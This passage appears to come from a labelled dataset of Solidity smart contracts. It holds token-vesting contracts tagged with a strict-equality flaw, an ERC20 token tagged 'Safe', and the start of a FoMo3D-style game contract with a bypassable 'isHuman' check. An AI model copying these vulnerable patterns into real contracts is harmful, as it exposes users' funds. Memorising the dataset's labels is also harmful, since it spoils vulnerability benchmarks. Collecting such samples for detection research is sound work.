assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } interface ERC20TokenInterface { function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256 remaining); function totalSupply() external view returns (uint256 _totalSupply); function balanceOf(address _owner) external view returns (uint256 balance); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } interface TokenVestingInterface { function getReleasableFunds() external view returns (uint256); function release() external; function setWithdrawalAddress(address _newAddress) external; function revoke(string _reason) external view; function getTokenBalance() external view returns (uint256); function updateBalanceOnFunding(uint256 _amount) external; function salvageOtherTokensFromContract(address _tokenAddress, address _to, uint _amount) external; function salvageNotAllowedTokensSentToContract(address _to, uint _amount) external; } interface VestingMasterInterface { function amountLockedInVestings() view external returns (uint256); function substractLockedAmount(uint256 _amount) external; function addLockedAmount(uint256 _amount) external; function addInternalBalance(uint256 _amount) external; } interface ReleasingScheduleInterface { function getReleasableFunds(address _vesting) external view returns (uint256); } /** @title Linear releasing schedule contract */ contract ReleasingScheduleLinearContract { /** @dev Contains functionality for releasing funds linearly; set amount on set intervals until funds are available * @param _startTime Start time of schedule (not first releas time) * @param _tickDuration Interval of payouts * @param _amountPerTick Amount to be released per interval * @return created contracts address. */ using SafeMath for uint256; uint256 public startTime; uint256 public tickDuration; uint256 public amountPerTick; function ReleasingScheduleLinearContract(uint256 _startTime, uint256 _tickDuration, uint256 _amountPerTick) public{ startTime = _startTime; tickDuration = _tickDuration; amountPerTick = _amountPerTick; } function getReleasableFunds(address _vesting) public view returns (uint256){ TokenVestingContract vesting = TokenVestingContract(_vesting); uint256 balance = ERC20TokenInterface(vesting.tokenAddress()).balanceOf(_vesting); // check if there is balance and if it is active yet if (balance == 0 || (startTime >= now)) { return 0; } // all funds that may be released according to vesting schedule uint256 vestingScheduleAmount = (now.sub(startTime) / tickDuration) * amountPerTick; // deduct already released funds uint256 releasableFunds = vestingScheduleAmount.sub(vesting.alreadyReleasedAmount()); // make sure to release remainder of funds for last payout if (releasableFunds > balance) { releasableFunds = balance; } return releasableFunds; } } contract TgeOtherReleasingScheduleContract is ReleasingScheduleLinearContract { uint256 constant releaseDate = 1578873600; uint256 constant monthLength = 2592000; function TgeOtherReleasingScheduleContract(uint256 _amount, uint256 _startTime) ReleasingScheduleLinearContract(_startTime - monthLength, monthLength, _amount / 12) public { } function getReleasableFunds(address _vesting) public view returns (uint256) { if (now < releaseDate) { return 0; } return super.getReleasableFunds(_vesting); } } contract TgeTeamReleasingScheduleContract { uint256 constant releaseDate = 1578873600; function TgeTeamReleasingScheduleContract() public {} function getReleasableFunds(address _vesting) public view returns (uint256) { TokenVestingContract vesting = TokenVestingContract(_vesting); if (releaseDate >= now) { return 0; } else { return vesting.getTokenBalance(); } } } /** @title Vesting contract*/ contract TokenVestingContract is Owned { /** @dev Contains basic vesting functionality. Uses releasing schedule to ascertain amount of funds to release * @param _beneficiary Receiver of funds. * @param _tokenAddress Address of token contract. * @param _revocable Allows owner to terminate vesting, but all funds yet vested still go to beneficiary. Owner gets remainder of funds back. * @param _changable Allows that releasing schedule and withdrawal address be changed. Essentialy rendering contract not binding. * @param _releasingScheduleContract Address of scheduling contract, that implements getReleasableFunds() function * @return created vesting's address. */ using SafeMath for uint256; address public beneficiary; address public tokenAddress; bool public canReceiveTokens; bool public revocable; // bool public changable; // allows that releasing schedule and withdrawal address be changed. Essentialy rendering contract not binding. address public releasingScheduleContract; bool fallbackTriggered; bool public revoked; uint256 public alreadyReleasedAmount; uint256 public internalBalance; event Released(uint256 _amount); event RevokedAndDestroyed(string _reason); event WithdrawalAddressSet(address _newAddress); event TokensReceivedSinceLastCheck(uint256 _amount); event VestingReceivedFunding(uint256 _amount); event SetReleasingSchedule(address _addy); event NotAllowedTokensReceived(uint256 amount); function TokenVestingContract(address _beneficiary, address _tokenAddress, bool _canReceiveTokens, bool _revocable, bool _changable, address _releasingScheduleContract) public { beneficiary = _beneficiary; tokenAddress = _tokenAddress; canReceiveTokens = _canReceiveTokens; revocable = _revocable; changable = _changable; releasingScheduleContract = _releasingScheduleContract; alreadyReleasedAmount = 0; revoked = false; internalBalance = 0; fallbackTriggered = false; } function setReleasingSchedule(address _releasingScheduleContract) external onlyOwner { require(changable); releasingScheduleContract = _releasingScheduleContract; emit SetReleasingSchedule(releasingScheduleContract); } function setWithdrawalAddress(address _newAddress) external onlyOwner { beneficiary = _newAddress; emit WithdrawalAddressSet(_newAddress); } /// release tokens that are already vested/releasable function release() external returns (uint256 transferedAmount) { checkForReceivedTokens(); require(msg.sender == beneficiary || msg.sender == owner); uint256 amountToTransfer = ReleasingScheduleInterface(releasingScheduleContract).getReleasableFunds(this); require(amountToTransfer > 0); // internal accounting alreadyReleasedAmount = alreadyReleasedAmount.add(amountToTransfer); internalBalance = internalBalance.sub(amountToTransfer); VestingMasterInterface(owner).substractLockedAmount(amountToTransfer); // actual transfer ERC20TokenInterface(tokenAddress).transfer(beneficiary, amountToTransfer); emit Released(amountToTransfer); return amountToTransfer; } function revoke(string _reason) external onlyOwner { require(revocable); // returns funds not yet vested according to vesting schedule uint256 releasableFunds = ReleasingScheduleInterface(releasingScheduleContract).getReleasableFunds(this); ERC20TokenInterface(tokenAddress).transfer(beneficiary, releasableFunds); VestingMasterInterface(owner).substractLockedAmount(releasableFunds); // have to do it here, can't use return, because contract selfdestructs // returns remainder of funds to VestingMaster and kill vesting contract VestingMasterInterface(owner).addInternalBalance(getTokenBalance()); ERC20TokenInterface(tokenAddress).transfer(owner, getTokenBalance()); emit RevokedAndDestroyed(_reason); selfdestruct(owner); } function getTokenBalance() public view returns (uint256 tokenBalance) { return ERC20TokenInterface(tokenAddress).balanceOf(address(this)); } // master calls this when it uploads funds in order to differentiate betwen funds from master and 3rd party function updateBalanceOnFunding(uint256 _amount) external onlyOwner { internalBalance = internalBalance.add(_amount); emit VestingReceivedFunding(_amount); } // check for changes in balance in order to track amount of locked tokens and notify master function checkForReceivedTokens() public { if (getTokenBalance() != internalBalance) { uint256 receivedFunds = getTokenBalance().sub(internalBalance); // if not allowed to receive tokens, do not account for them if (canReceiveTokens) { internalBalance = getTokenBalance(); VestingMasterInterface(owner).addLockedAmount(receivedFunds); } else { emit NotAllowedTokensReceived(receivedFunds); } emit TokensReceivedSinceLastCheck(receivedFunds); } fallbackTriggered = true; } function salvageOtherTokensFromContract(address _tokenAddress, address _to, uint _amount) external onlyOwner { require(_tokenAddress != tokenAddress); ERC20TokenInterface(_tokenAddress).transfer(_to, _amount); } function salvageNotAllowedTokensSentToContract(address _to, uint _amount) external onlyOwner { // check if there are any new tokens checkForReceivedTokens(); // only allow sending tokens, that were not allowed to be sent to contract require(_amount <= getTokenBalance() - internalBalance); ERC20TokenInterface(tokenAddress).transfer(_to, _amount); } function () external{ fallbackTriggered = true; } } contract VestingMasterContract is Owned { using SafeMath for uint256; address public tokenAddress; bool public canReceiveTokens; address public moderator; uint256 public internalBalance; uint256 public amountLockedInVestings; bool public fallbackTriggered; struct VestingStruct { uint256 arrayPointer; // custom data address beneficiary; address releasingScheduleContract; string vestingType; uint256 vestingVersion; } address[] public vestingAddresses; mapping(address => VestingStruct) public addressToVestingStruct; mapping(address => address) public beneficiaryToVesting; event VestingContractFunded(address beneficiary, address tokenAddress, uint256 amount); event LockedAmountDecreased(uint256 amount); event LockedAmountIncreased(uint256 amount); event TokensReceivedSinceLastCheck(uint256 amount); event TokensReceivedWithApproval(uint256 amount, bytes extraData); event NotAllowedTokensReceived(uint256 amount); function VestingMasterContract(address _tokenAddress, bool _canReceiveTokens) public{ tokenAddress = _tokenAddress; canReceiveTokens = _canReceiveTokens; internalBalance = 0; amountLockedInVestings = 0; } // todo: make storage lib ////////// STORAGE HELPERS /////////// function vestingExists(address _vestingAddress) public view returns (bool exists){ if (vestingAddresses.length == 0) {return false;} return (vestingAddresses[addressToVestingStruct[_vestingAddress].arrayPointer] == _vestingAddress); } function storeNewVesting(address _vestingAddress, address _beneficiary, address _releasingScheduleContract, string _vestingType, uint256 _vestingVersion) internal onlyOwner returns (uint256 vestingsLength) { require(!vestingExists(_vestingAddress)); addressToVestingStruct[_vestingAddress].beneficiary = _beneficiary; addressToVestingStruct[_vestingAddress].releasingScheduleContract = _releasingScheduleContract; addressToVestingStruct[_vestingAddress].vestingType = _vestingType; addressToVestingStruct[_vestingAddress].vestingVersion = _vestingVersion; beneficiaryToVesting[_beneficiary] = _vestingAddress; addressToVestingStruct[_vestingAddress].arrayPointer = vestingAddresses.push(_vestingAddress) - 1; return vestingAddresses.length; } function deleteVestingFromStorage(address _vestingAddress) internal onlyOwner returns (uint256 vestingsLength) { require(vestingExists(_vestingAddress)); delete (beneficiaryToVesting[addressToVestingStruct[_vestingAddress].beneficiary]); uint256 indexToDelete = addressToVestingStruct[_vestingAddress].arrayPointer; address keyToMove = vestingAddresses[vestingAddresses.length - 1]; vestingAddresses[indexToDelete] = keyToMove; addressToVestingStruct[keyToMove].arrayPointer = indexToDelete; vestingAddresses.length--; return vestingAddresses.length; } function addVesting(address _vestingAddress, address _beneficiary, address _releasingScheduleContract, string _vestingType, uint256 _vestingVersion) public { uint256 vestingBalance = TokenVestingInterface(_vestingAddress).getTokenBalance(); amountLockedInVestings = amountLockedInVestings.add(vestingBalance); storeNewVesting(_vestingAddress, _beneficiary, _releasingScheduleContract, _vestingType, _vestingVersion); } /// releases funds to beneficiary function releaseVesting(address _vestingContract) external { require(vestingExists(_vestingContract)); require(msg.sender == addressToVestingStruct[_vestingContract].beneficiary || msg.sender == owner || msg.sender == moderator); TokenVestingInterface(_vestingContract).release(); } /// Transfers releasable funds from vesting to beneficiary (caller of this method) function releaseMyTokens() external { address vesting = beneficiaryToVesting[msg.sender]; require(vesting != 0); TokenVestingInterface(vesting).release(); } // add funds to vesting contract function fundVesting(address _vestingContract, uint256 _amount) public onlyOwner { // convenience, so you don't have to call it manualy if you just uploaded funds checkForReceivedTokens(); // check if there is actually enough funds require((internalBalance >= _amount) && (getTokenBalance() >= _amount)); // make sure that fundee is vesting contract on the list require(vestingExists(_vestingContract)); internalBalance = internalBalance.sub(_amount); ERC20TokenInterface(tokenAddress).transfer(_vestingContract, _amount); TokenVestingInterface(_vestingContract).updateBalanceOnFunding(_amount); emit VestingContractFunded(_vestingContract, tokenAddress, _amount); } function getTokenBalance() public constant returns (uint256) { return ERC20TokenInterface(tokenAddress).balanceOf(address(this)); } // revoke vesting; release releasable funds to beneficiary and return remaining to master and kill vesting contract function revokeVesting(address _vestingContract, string _reason) external onlyOwner { TokenVestingInterface subVestingContract = TokenVestingInterface(_vestingContract); subVestingContract.revoke(_reason); deleteVestingFromStorage(_vestingContract); } // when vesting is revoked it sends back remaining tokens and updates internalBalance function addInternalBalance(uint256 _amount) external { require(vestingExists(msg.sender)); internalBalance = internalBalance.add(_amount); } // vestings notifies if there has been any changes in amount of locked tokens function addLockedAmount(uint256 _amount) external { require(vestingExists(msg.sender)); amountLockedInVestings = amountLockedInVestings.add(_amount); emit LockedAmountIncreased(_amount); } // vestings notifies if there has been any changes in amount of locked tokens function substractLockedAmount(uint256 _amount) external { require(vestingExists(msg.sender)); amountLockedInVestings = amountLockedInVestings.sub(_amount); emit LockedAmountDecreased(_amount); } // check for changes in balance in order to track amount of locked tokens function checkForReceivedTokens() public { if (getTokenBalance() != internalBalance) { uint256 receivedFunds = getTokenBalance().sub(internalBalance); if (canReceiveTokens) { amountLockedInVestings = amountLockedInVestings.add(receivedFunds); internalBalance = getTokenBalance(); } else { emit NotAllowedTokensReceived(receivedFunds); } emit TokensReceivedSinceLastCheck(receivedFunds); } else { emit TokensReceivedSinceLastCheck(0); } fallbackTriggered = false; } function salvageNotAllowedTokensSentToContract(address _contractFrom, address _to, uint _amount) external onlyOwner { if (_contractFrom == address(this)) { // check if there are any new tokens checkForReceivedTokens(); // only allow sending tokens, that were not allowed to be sent to contract require(_amount <= getTokenBalance() - internalBalance); ERC20TokenInterface(tokenAddress).transfer(_to, _amount); } if (vestingExists(_contractFrom)) { TokenVestingInterface(_contractFrom).salvageNotAllowedTokensSentToContract(_to, _amount); } } function salvageOtherTokensFromContract(address _tokenAddress, address _contractAddress, address _to, uint _amount) external onlyOwner { require(_tokenAddress != tokenAddress); if (_contractAddress == address(this)) { ERC20TokenInterface(_tokenAddress).transfer(_to, _amount); } if (vestingExists(_contractAddress)) { TokenVestingInterface(_contractAddress).salvageOtherTokensFromContract(_tokenAddress, _to, _amount); } } function killContract() external onlyOwner { require(vestingAddresses.length == 0); ERC20TokenInterface(tokenAddress).transfer(owner, getTokenBalance()); selfdestruct(owner); } function setWithdrawalAddress(address _vestingContract, address _beneficiary) external { require(vestingExists(_vestingContract)); TokenVestingContract vesting = TokenVestingContract(_vestingContract); // withdrawal address can be changed only by beneficiary or in case vesting is changable also by owner require(msg.sender == vesting.beneficiary() || (msg.sender == owner && vesting.changable())); TokenVestingInterface(_vestingContract).setWithdrawalAddress(_beneficiary); addressToVestingStruct[_vestingContract].beneficiary = _beneficiary; } function receiveApproval(address _from, uint256 _amount, address _tokenAddress, bytes _extraData) external { require(canReceiveTokens); require(_tokenAddress == tokenAddress); ERC20TokenInterface(_tokenAddress).transferFrom(_from, address(this), _amount); amountLockedInVestings = amountLockedInVestings.add(_amount); internalBalance = internalBalance.add(_amount); emit TokensReceivedWithApproval(_amount, _extraData); } // Deploys a vesting contract to _beneficiary. Assumes that a releasing // schedule contract has already been deployed, so we pass it the address // of that contract as _releasingSchedule function deployVesting( address _beneficiary, string _vestingType, uint256 _vestingVersion, bool _canReceiveTokens, bool _revocable, bool _changable, address _releasingSchedule ) public onlyOwner { TokenVestingContract newVesting = new TokenVestingContract(_beneficiary, tokenAddress, _canReceiveTokens, _revocable, _changable, _releasingSchedule); addVesting(newVesting, _beneficiary, _releasingSchedule, _vestingType, _vestingVersion); } function deployOtherVesting( address _beneficiary, uint256 _amount, uint256 _startTime ) public onlyOwner { TgeOtherReleasingScheduleContract releasingSchedule = new TgeOtherReleasingScheduleContract(_amount, _startTime); TokenVestingContract newVesting = new TokenVestingContract(_beneficiary, tokenAddress, true, true, true, releasingSchedule); addVesting(newVesting, _beneficiary, releasingSchedule, 'other', 1); fundVesting(newVesting, _amount); } function deployTgeTeamVesting( address _beneficiary, uint256 _amount ) public onlyOwner { TgeTeamReleasingScheduleContract releasingSchedule = new TgeTeamReleasingScheduleContract(); TokenVestingContract newVesting = new TokenVestingContract(_beneficiary, tokenAddress, true, true, true, releasingSchedule); addVesting(newVesting, _beneficiary, releasingSchedule, 'X8 team', 1); fundVesting(newVesting, _amount); } /** * Used to transfer ownership of a vesting contract to this master contract. * The vesting contracts require that the master contract be their owner. * Use this when you deploy a TokenVestingContract manually and need to transfer * ownership to this master contract. First call transferOwnership on the vesting * contract. * @param _vesting the vesting contract of which to accept ownership. */ function acceptOwnershipOfVesting(address _vesting) external onlyOwner { TokenVestingContract(_vesting).acceptOwnership(); } function setModerator(address _moderator) external onlyOwner { moderator = _moderator; } function () external{ fallbackTriggered = true; } }",./Dataset/ether strict equality (SE),3,3 0x0117761e3669cce27e5599d88e4355e027989a44_PlatinumToken.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract PlatinumToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function PlatinumToken( ) { balances[msg.sender] = 100000000000000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 100000000000000000000000000; // Update total supply (100000 for example) name = ""PlatinumCoin""; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = ""PLT""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",Safe,8,8 3656.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract F3DPLUS is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x454b6ee7e3847d51456b4146f7ae2664dbc35af4); address private admin = msg.sender; string constant public name = ""FoMo3DPlus""; string constant public symbol = ""F3DPlus""; uint256 private rndExtra_ = 0; uint256 private rndGap_ = 2 minutes; uint256 constant private rndInit_ = 8 minutes; uint256 constant private rndInc_ = 1 seconds; uint256 constant private rndMax_ = 10 minutes; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(22,6); fees_[1] = F3Ddatasets.TeamFee(38,0); fees_[2] = F3Ddatasets.TeamFee(52,10); fees_[3] = F3Ddatasets.TeamFee(68,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function 